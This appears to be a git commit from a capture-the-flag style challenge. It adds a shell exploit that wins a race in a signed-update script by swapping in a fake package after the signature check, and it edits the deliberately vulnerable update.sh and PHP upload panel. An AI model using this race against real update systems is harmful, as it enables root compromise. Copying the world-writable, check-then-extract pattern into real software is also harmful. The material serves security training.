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Update.sh does work; added complete solutions

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Giulio 2020-09-24 01:02:27 +02:00
parent 07dc510a4a
commit efef6c0a2d
4 changed files with 26 additions and 10 deletions
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16
solution/exploit.sh Normal file
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@ -0,0 +1,16 @@
#!/bin/sh
# The solution require the original update.tar.cc in /tmp named 'orig'
# and the fake package renamed to 'pwn' in /tmp. Both need to have chmod 777
cd /tmp;
cp orig update.tar.cc;
chmod 777 update.tar.cc;
sudo -u upgrade /bin/sh /update.sh > log &
while true; do
if [[ "$(cat log | grep Checking)" ]]; then
sleep 0.01
cp pwn update.tar.cc;
fi
done;

BIN
solution/update.tar.cc Normal file
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13
update/update.sh
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@ -13,30 +13,29 @@ if [[ "$auth" != "$password" ]]; then
exit 1
fi
pubkey="/pub.pem"
file="/tmp/update.tar.cc"
/bin/chmod 777 $file
sig="/tmp/sig"
/bin/echo "### ccOS Update Script ###"
/bin/echo "[+] Starting"
/bin/sleep 1
/bin/echo "[+] Extracting Signature"
skip=$(expr $(stat -c '%s' $file) - 256)
if [[ -L $file ]]
then
exit 0
fi
/bin/dd if=/tmp/update.tar.cc of=sig bs=1 count=256 skip=$skip
/bin/dd if=/tmp/update.tar.cc of=$sig bs=1 count=256 skip=$skip
/usr/bin/truncate -s $skip $file
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature /tmp/sig $file`
/bin/echo "[+] Checking Signature"
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature $sig $file`
if [ "$check" == "Verified OK" ]
then
/bin/echo "[+] Signature is valid!"
/bin/echo "[+] Upgrading..."
/bin/tar -xvf $file -C /
/bin/rm /tmp/sig
/bin/rm $sig
/bin/echo "[+] Done"
else
/bin/echo "[-] Signature error, exiting..."
/bin/rm /tmp/sig
/bin/rm $sig
fi

7
webpanel/update.php
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@ -5,8 +5,9 @@ require_once("includes/header.php");
require_once("includes/nav.php");
if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) {
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tgz.cc');
exec("/usr/bin/sudo key='".escapeshellarg($_POST['password'])."' /update.sh", $result);
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tar.cc');
exec("/bin/chmod 777 /tmp/update.tar.cc");
exec("key='".escapeshellarg($_POST['password'])."' /bin/sh -c '/usr/bin/sudo /bin/sh /update.sh'", $result);
}
?>
@ -19,7 +20,7 @@ if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['
<input type="submit" class="btn btn-b btn-sm smooth" value="Upload">
<p>
<ul>
<li>Please select the file <i>ccOS-ver-xxxx.tgz.cc</i></li>
<li>Please select the file <i>update.tar.cc</i></li>
<li>The update will take about 2 minutes</li>
<li>Updates are cryptographically signed for integrity and authenticity</li>
</ul>